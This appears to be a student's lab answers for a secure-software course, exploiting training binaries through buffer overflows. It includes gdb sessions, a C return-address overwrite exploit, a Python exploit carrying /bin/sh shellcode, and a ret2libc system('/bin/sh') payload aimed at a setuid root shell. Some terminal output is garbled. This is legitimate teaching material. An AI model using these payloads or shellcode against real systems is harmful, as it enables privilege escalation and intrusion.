Qustion 1: Question 1 (3 mks). In the binary named "secret-str", find the secret string hidden3.

Find secret with this 2 commonds:

file secret-str

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mary@U12:~<mark>$ file secret-str</mark>
secret-str: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linke
d (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x50a9cb1cbea2e3796d35cee15be
d670adcfa053f, not stripped
```

strings secret-str | less

```
/lib/ld-linux.so.2
 _gmon_start__
libc.so.6
_IO_stdin_used
gets
puts
 _stack_chk_fail
putchar
printf
strcmp
 _libc_start_main
GLIBC_2.4
GLIBC_2.0
PTRh
0Vh8
UWVS
 ECRET : YOU ARE THE BEST STUDENT OF SECURE SOFTWARE COURSE (I DON'T SAY THAT TO EVERY
STUDENT :)) !
Password ?
 Wrong Password
 Correct Password
 The next URL is :
;*2$"
(END)
```

Question 2 (4 mks). Consider the C11 code listed below. This code implement some form of protection against buffer overflow. Explain two different ways of bypassing this protection in the particular case of buffer overflow.

Two Ways to Bypass Protection

1. Stack Canaries Bypass

To bypass stack canaries, an attacker can:

Leak the Canary Value: If the program has a format string vulnerability or some way to read the stack, the attacker can leak the canary's value. Once the value is known, the attacker can include the correct canary value in the overflow payload, ensuring it remains unchanged.

2. ASLR Bypass

To bypass ASLR, an attacker can:

- Information Leak: Leverage another vulnerability (e.g., a format string or buffer overflow in a different part of the program) to leak memory addresses. With known addresses, the attacker can calculate offsets to target specific regions in memory.
 - Example: If an address in the stack is leaked, the attacker can infer the location of the buffer or return address.
- **Brute-Forcing**: In systems with partial ASLR (e.g., 32-bit), the entropy is limited. An attacker can try multiple payloads, adjusting the guessed address each time, until the correct one is found.

Question 3 (3 mks). In the binary named "check-passwd", find a buffer overflow vulnerability and and how to exploit it to bypass password protection.

The function stuff () implements a simple stack-based buffer overflow protection:

- 1. The guard variable is initialized with the value of secret at the beginning of the function.
- 2. After the strcpy() call, the code checks if guard has been modified:

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if (guard != secret)
```

If code check length before push it to buffer it will avoid buffer over flow.

Question 4 (10 mks). In the binary named "check-pwd-crit", find a buffer overflow vulnerability to make it print "Critical function" without making it crash. This binary was produced from a file "check-passwd.c" under the elf32 format using the command

Find the address of critical Function.

Determine the offset between the buffer and the return address in the stack.

gdb ./check-passwd-crit

(gdb) disas criticalunction # Disassemble to find address of criticalFunction

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mary@U12:~$ cd media/sf_softwareSecure
bash: cd: media/sf_softwareSecure: No such file or directory
mary@U12:~$ ^C
mary@U12:~$ cd /media/sf_softwareSecure/
mary@U12:/media/sf_softwareSecure$ gdb ./check-passwd-crit
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <a href="http://gnu.org/licenses/gpl.html">http://gnu.org/licenses/gpl.html</a>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /media/sf_softwareSecure/check-passwd-crit...(no debugging
symbols found)...done.
(gdb) disas criticalunction
No symbol table is loaded. Use the "file" command.
(gdb) disas criticalFunction
Dump of assembler code for function criticalFunction:
    0x08048514 <+0>:
                              push
                                      %ebp
    0x08048515 <+1>:
                                        %esp,%ebp
                              MOV
    0x08048517 <+3>:
                              sub
                                        $0x18,%esp
    0x0804851a <+6>:
                              MOV
                                        $0x804867d, %eax
```

criticalFunction: 0x08048514

(gdb) b checkPwd # Set a breakpoint at the vulnerable function

(gdb) run \$(printf 'A%.0s' {1..120}) # Input a long string to overflow the buffer

(gdb) info frame # Inspect the stack to locate the return address # Set a breakpoint at the vulnerable function

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🔊 🖨 🗊 mary@U12: /media/sf_softwareSecure
End of assembler dump.
(gdb) b checkPwd
Breakpoint 1 at 0x8048479
(gdb) run $(printf 'A%.0s' {1...120})
Starting program: /media/sf_softwareSecure/check-passwd-crit $(printf 'A%.0s' {1
..120})
Breakpoint 1, 0x08048479 in checkPwd ()
(gdb) info frame
Stack level 0, frame at 0xbffff2c0:
eip = 0x8048479 in checkPwd; saved eip 0x8048534
 called by frame at 0xbffff2d0
 Arglist at 0xbffff2b8, args:
 Locals at Oxbffff2b8, Previous frame's sp is Oxbffff2c0
 Saved registers:
 ebp at 0xbffff2b8, eip at 0xbffff2bc
(gdb) ^CQuit
(gdb) ^CQuit
(gdb) q
A debugging session is active.
         Inferior 1 [process 3412] will be killed.
Quit anyway? (y or n) y
```

I put buffer size 104

exploit file

```
#include <stdio.h>
 #include <stdlib.h>
#include <string.h>
int main() {
    // Address of critical function
    unsigned int critical function address = 0x08048514;
    // Buffer size until the return address
    int buffer size = 104;
    // Create the payload
    char payload[buffer size + 4 + 1];
    memset(payload, 'A', buffer_size); // Fill the buffer with 'A'
    memcpy(payload + buffer_size, &critical_function_address, 4); // Append the address
    payload[buffer size + 4] = '\0';
    printf("%s", payload);
    return 0;
 }
```

Compile the exploit:

gcc -o exploit exploit.c

- . /exploit > payload.txt
- . /check-passwd-crit \$(cat payload.txt)

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If successful, the program should print: unfortunately I wasn't successful.

criticalFunction

Set-UID:

sudo chown root:root check-passwd-crit

sudo chmod 4755 check-passwd-crit

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ID

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nary@U12:/media/sf_softwareSecure$ id
uid=1000(mary) gid=1000(mary) groups=1000(mary),999(vboxsf)
nary@U12:/media/sf_softwareSecure$
```

Question 5 (20 mks). Given the binary named "root-me-1", turn it into a set-uid program and find a buffer overflow vulnerability in order to log as root. This binary was produced from a file "greeter.c" under the elf32 format using the command • gcc -o root-me-1 -m32 -z execstack -fno-stack-protector greeter.c

Set Uid

sudo chown root:root root-me-1

sudo chmod u+s root-me-1

```
mary@U12:~$ sudo chown root:root root-me-1
mary@U12:~$ sudo chmod u+s root-me-1
mary@U12:~$ ls -l root-me-1
-rwsrwx--- 1 root root 7259 Nov 18 22:00 <mark>root-me-1</mark>
```

Find buffer size:

```
mary@U12:~$ python
Python 2.7.3 (default, Sep 26 2013, 20:08:41)
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "A"*200
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>>>
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)
```

Buffer size is: "A"*208 => get segmentation fault

```
import struct

# Filling the buffer until EIP register
padding = "A" * 212

# EIP overwrite in little indian -> \x60\xf2\xff\xbf
eip = struct.pack("I", 0xbffff260 + 30)

# Shellcode from https://shell-storm.org/shellcode/files/
shellcode-811.html
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

# NOPs before shellcode
nops = "\x90"*50

print padding + eip + nops + payload
```

Result:

Unfortunately it doesn't work.

Question 6 (10 mks). Given the binary named "root-me-2", turn it into a set-uid program and find a buffer overflow vulnerability in order to log as root. This binary was produced from a file "greeter.c" under the elf32 format using the command • gcc -o root-me-2 -m32 -fno-stack-protector greeter.c

Steps 1:

sudo chown root:root root-me-2

sudo chmod u+s root-me-2

permissions:

```
mary@U12:~$ ls -l root-me-2
-rwsrwsr-x 1 root root 7259 Nov 20 11:19 <mark>root-me-2</mark>
```

Disassemble main function for finding vulnerable function:

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(gdb) disassemble main
Dump of assembler code for function main:
   0x0804847b <+0>:
                         push
                                %ebp
   0x0804847c <+1>:
                         mov
                                %esp,%ebp
   0x0804847e <+3>:
                         and
                                $0xfffffff0,%esp
                                $0x10,%esp
   0x08048481 <+6>:
                         sub
   0x08048484 <+9>:
                         cmpl
                                $0x2,0x8(%ebp)
                                0x804849c <main+33>
0xc(%ebp),%eax
   0x08048488 <+13>:
                         jne
   0x0804848a <+15>:
                         mov
   0x0804848d <+18>:
                                $0x4,%eax
                         add
   0x08048490 <+21>:
                         MOV
                                (%eax),%eax
                                %eax,(%esp)
   0x08048492 <+23>:
                         mov
                                0x8048444 <greet>
0x80484a8 <main+45>
                         call
   0x08048495 <+26>:
   0x0804849a <+31>:
                         jmp
                         movl
   0x0804849c <+33>:
                                $0x804858c,(%esp)
   0x080484a3 <+40>:
                         call
                                0x8048360 <puts@plt>
   0x080484a8 <+45>:
                         leave
   0x080484a9 <+46>:
                         ret
End of assembler dump.
```

The code contains a call to a function at 0x8048444, which corresponds to greet.

Disassemble greet:

```
(gdb) disassemble greet
Dump of assembler code for function greet:
   0x08048444 <+0>:
                        push
                                %ebp
   0x08048445 <+1>:
                                %esp,%ebp
                        mov
   0x08048447 <+3>:
                        sub
                                $0xe8,%esp
   0x0804844d <+9>:
                       MOV
                                0x8(%ebp),%eax
                                %eax,0x4(%esp)
   0x08048450 <+12>:
                        mov
                                -0xd0(%ebp),%eax
   0x08048454 <+16>:
                        lea
   0x0804845a <+22>:
                                %eax,(%esp)
                        MOV
                                0x8048350 <strcpy@plt>
   0x0804845d <+25>:
                        call
                                $0x8048580, %eax
   0x08048462 <+30>:
                        MOV
                                -0xd0(%ebp),%edx
   0x08048467 <+35>:
                        lea
   0x0804846d <+41>:
                                %edx,0x4(%esp)
                        mov
   0x08048471 <+45>:
                        MOV
                                %eax,(%esp)
                                0x8048340 <printf@plt>
   0x08048474 <+48>:
                        call
   0x08048479 <+53>:
                        leave
   0x0804847a <+54>:
                         ret
End of_assembler dump.
```

Find buffer size:

```
[8456.994168] root-me-2[3354]: segfault at bffff27e ip bffff27e sp bf8d6690 error 14
[8462.595152] root-me-2[3361]: segfault at bffff27e ip bffff27e sp bf7bd580 error 14
[8476.171419] root-me-2[3361]: segfault at bffff27e ip bffff27e sp bf9c8f90 error 14
[8476.171419] root-me-2[3374]: segfault at bffff27e ip bffff27e sp bf9c8f90 error 14
[8481.733728] root-me-2[3386]: segfault at bffff27e ip bffff27e sp bf928f30 error 14
[8481.733728] root-me-2[3386]: segfault at bffff27e ip bffff27e sp bf928f30 error 14
[8494.20476] root-me-2[3389]: segfault at bffff27e ip bffff27e sp bf9090 error 14
[8499.170955] root-me-2[3395]: segfault at bffff27e ip bffff27e sp bf9910 error 14
[8599.170955] root-me-2[3395]: segfault at bffff27e ip bffff27e sp bf9952660 error 14
[8512.338136] root-me-2[3406]: segfault at bffff27e ip bffff27e sp bf999090 error 14
[8518.815053] root-me-2[3406]: segfault at bffff27e ip bffff27e sp bf98040 error 14
[8518.815053] root-me-2[3470]: segfault at bffff27e ip bffff27e sp bf98040 error 14
[28001.179683] gdb[3750]: segfault at bffff27e ip bffff27e sp bf98040 error 14
[22001.179683] gdb[3750]: segfault at 18c ip b776281c sp bfd808bd0 error 4 in libncurses.so.5.9[b774d000+20000]
[22002.235510] root-me-2[3476]: segfault at 41414141 ip 41414141 sp bf30460 error 14
[39759.288892] e1000: etho NIC Link is Down
[39764.281534] 08:33:04.330388 timesync vgsvcTimeSyncWorker: Radical host time change: 37 682 812 000 000ns (Ho stNow=1 732 437 184 330 000 000 ns hostlast=1 732 399 501 518 000 000 ns)
[39765.20562] e1000: etho NIC Link is Down
[39765.20562] e1000: etho NIC Link is Down
[41310.629185] root-me-2[441]: segfault at 41414141 ip 41414141 sp bf64080 error 14
[30774.283107] 08:33:14.3331989 timesync vgsvcTimeSyncWorker: Radical puest time change: 37 682 823 547 000ns (G uestNow=1 732 437 184 330 000 000 etho NIC Link is Upine Mbps Full Duplex, Flow Control: RX
[39767-283107] 08:33:14.3331989 timesync vgsvcTimeSyncWorker: Radical guest time change: 37 682 823 547 000ns (G uestNow=1 732 437 194 331 967 080 ns
```

"A"*212 => get segmentation fault

```
ABS crtstuff.c
18 __CTOR_LIST_
28: 08049f14
                          0 OBJECT
                                        LOCAL
                                                   DEFAULT
                                        LOCAL
                                                                  19 __DTOR_LIST__
20 __JCR_LIST__
13 __do_global_dtors_aux
29: 08049f1c
                          0 OBJECT
                                                   DEFAULT
30: 08049f24
                         0 OBJECT
                                                   DEFAULT
31: 080483c0
                         0 FUNC
                                        LOCAL
                                                   DEFAULT
                                        LOCAL
LOCAL
LOCAL
                          1 OBJECT
32: 0804a01c
                                                   DEFAULT
                                                                  25 completed.6159
                         4 OBJECT
0 FUNC
0 FILE
33: 0804a020
                                                  DEFAULT
                                                                  25 dtor_idx.6161
34: 08048420
                                                  DEFAULT
                                                                  13 frame_dummy
35: 00000000
                                                   DEFAULT
                                                                 ABS crtstuff.c
                         0 OBJECT
0 OBJECT
                                                                 18 __CTOR_END_
17 __FRAME_END_
                                        LOCAL
36: 08049f18
                                                   DEFAULT
37: 080486f8
                                                  DEFAULT
                                                                  20 __JCR_END__
13 __do_global_ctors_aux
38: 08049f24
                         0 OBJECT
                                                   DEFAULT
39: 08048530
40: 00000000
                         0 FUNC
0 FILE
                                        LOCAL
                                                   DEFAULT
                                                                ABS greeter.c

18 __init_array_end
21 _DYNAMIC
                                        LOCAL
                                                   DEFAULT
41: 08049f14
                         0 NOTYPE
                                        LOCAL
                                                  DEFAULT
42: 08049f28
                         0 OBJECT
                                                   DEFAULT
                                                                 21 _OTNAMIL
18 __init_array_start
23 _GLOBAL_OFFSET_TABLE_
13 __libc_csu_fini
13 __i686.get_pc_th[...]
                                        LOCAL DEFAULT
43: 08049f14
                         0 NOTYPE
0 OBJECT
44: 08049ff4
45: 08048520
                         2 FUNC
0 FUNC
                                        GLOBAL DEFAULT
46: 08048522
                                        GLOBAL HIDDEN
                         0 NOTYPE WEAK DEFAULT
0 FUNC GLOBAL DEFAULT
                                                                24 data_start
UND printf@@GLIBC_2.0
47: 0804a014
48: 00000000
                                        GLOBAL DEFAULT ABS _edata
GLOBAL DEFAULT 14 _fini
GLOBAL DEFAULT UND strcpy@@GLIBC_2.0
GLOBAL HIDDEN 19 _DTOR_END_
GLOBAL DEFAULT 13 greet
                         0 NOTYPE
0 FUNC
0 FUNC
49: 0804a01c
50: 0804855c
51: 00000000
52: 08049f20
                         0 OBJECT
                                        GLOBAL DEFAULT
GLOBAL DEFAULT
GLOBAL DEFAULT
53: 08048444
                        55 FUNC
                         0 NOTYPE
54: 0804a014
                                                                24 __data_start
UND puts@@GLIBC_2.0
55: 00000000
                         0 FUNC
                                        WEAK DEFAULT
GLOBAL HIDDEN
GLOBAL DEFAULT
                                                                UND __gmon_start_
24 __dso_handle
15 _IO_stdin_used
                         0 NOTYPE
0 OBJECT
56: 00000000
57: 0804a018
58: 0804857c
                         4 OBJECT
                                                               UND _libc_start_mai[...]

13 _libc_csu_init

ABS _end

13 _start
                                        GLOBAL DEFAULT
      00000000
                         0 FUNC
60: 080484b0
                        97 FUNC
61: 0804a024
                         0 NOTYPE
62: 08048390
                          0 FUNC
63: 08048578
                            OBJECT
                                                                 15 _fp_hw
      0804a01c
                         Ø NOTYPE
                                                                         bss start
```

Line 53 function greet 08048444

Finf bin/sh address:

(gdb) Info proc map

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🔊 🖨 📵 🛮 mary@U12: ~
<http://bugs.launchpad.net/gdb-linaro/>...
Reading symbols from /home/mary/root-me-2...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x804847e
(gdb) run
Starting program: /home/mary/root-me-2
Breakpoint 1, 0x0804847e in main ()
(gdb) info proc map
process 4975
Mapped address spaces:
        Start Addr
                    End Addr
                                    Size
                                             Offset objfile
         0x8048000 0x8049000
                                                0x0 /home/mary/root-me-2
                                  0x1000
         0x8049000 0x804a000
                                  0x1000
                                                0x0 /home/mary/root-me-2
         0x804a000 0x804b000
                                  0x1000
                                             0x1000 /home/mary/root-me-2
        0xb7618000 0xb7619000
                                  0x1000
                                                0x0
        0xb7619000 0xb77bd000 0x1a4000
                                                0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb77bd000 0xb77bf000
                                 0x2000
                                           0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb77bf000 0xb77c0000
                                  0x1000
                                           0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
        0xb77c0000 0xb77c3000
                                 0x3000
                                                0x0
        0xb77d3000 0xb77d5000
                                 0x2000
                                                0x0
        0xb77d5000 0xb77d6000
                                 0x1000
                                                0x0 [vdso]
                                 0x20000
        0xb77d6000 0xb77f6000
                                                0x0 /lib/i386-linux-gnu/ld-2.15.so
                                            0x1f000 /lib/i386-linux-gnu/ld-2.15.so
        0xb77f6000 0xb77f7000
                                0x1000
        0xb77f7000 0xb77f8000
                                 0x1000
                                            0x20000 /lib/i386-linux-gnu/ld-2.15.so
        0xbfec1000 0xbfee2000
                                 0x21000
                                                0x0 [stack]
                0xb7619000 ,+9999999, "/bin/sh"
(gdb) find
0xb777ad98
```

```
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7658430 <system>
(gdb)
```

```
import struct

padding = "A" * 212

system = struct.pack("I", 0xb7658430)

ret = "AAAA"
bin_sh = struct.pack("I", 0xb777ad98)

print padding + system +ret + bin_sh
```

Question 7 (20 mks). Given the binary named "root-me-3", turn it into a set-uid program and find a buffer overflow vulnerability in order to log as root. This binary was produced from a file "greeter2.c" under the elf32 format using the command • gcc -o root-me-3 -m32 -z execstack -fno-stack-protector greeter2.c

Find the buffer size: 208

```
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
NameError: name 'q' is not defined
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
egmentation fault (core dumped)
```

```
(gdb) r
Starting program: /home/mary/root-me-3
Breakpoint 1, 0x08048527 in main ()
(gdb) Info proc map
process 2523
Mapped address spaces:
        Start Addr
                     End Addr
                                     Size
                                              Offset objfile
         0x8048000 0x8049000
                                   0x1000
                                                 0x0 /home/mary/root-me-3
         0x8049000 0x804a000
                                   0x1000
                                                 0x0 /home/mary/root-me-3
         0x804a000 0x804b000
                                   0x1000
                                              0x1000 /home/mary/root-me-3
        0xb7e20000 0xb7e21000
                                   0x1000
                                                 0x0
        0xb7e21000 0xb7fc5000
                                 0x1a4000
                                                 0x0 /lib/i386-linux-qnu/libc-2.1
5.so
        0xb7fc5000 0xb7fc7000
                                   0x2000
                                            0x1a4000 /lib/i386-linux-gnu/libc-2.1
5.so
        0xb7fc7000 0xb7fc8000
                                            0x1a6000 /lib/i386-linux-gnu/libc-2.1
                                   0x1000
5.so
        0xb7fc8000 0xb7fcb000
                                   0x3000
                                                 0x0
        0xb7fdb000 0xb7fdd000
                                                 0x0
                                   0x2000
        0xb7fdd000 0xb7fde000
                                   0x1000
                                                 0x0 [vdso]
        0xb7fde000 0xb7ffe000
                                                 0x0 /lib/i386-linux-gnu/ld-2.15.
                                  0x20000
so
        0xb7ffe000 0xb7fff000
                                   0x1000
                                             0x1f000 /lib/i386-linux-gnu/ld-2.15.
so
                                             0x20000 /lib/i386-linux-gnu/ld-2.15.
        0xb7fff000 0xb8000000
                                   0x1000
so
---Type <return> to continue, or q <return> to quit---
```

```
(gdb) find 0xb7e21000,+99999999,"/bin/sh"

0xb7f82d98

warning: Unable to access target memory at 0xb7fc92a0, halting search.

1 pattern found.

(gdb) x/s0xb7f82d98

0xb7f82d98: "/bin/sh"

(gdb) 1
```

```
(gdb) p system
$1 = {<text variable, no debug info>} Oxb7e60430 <system>
```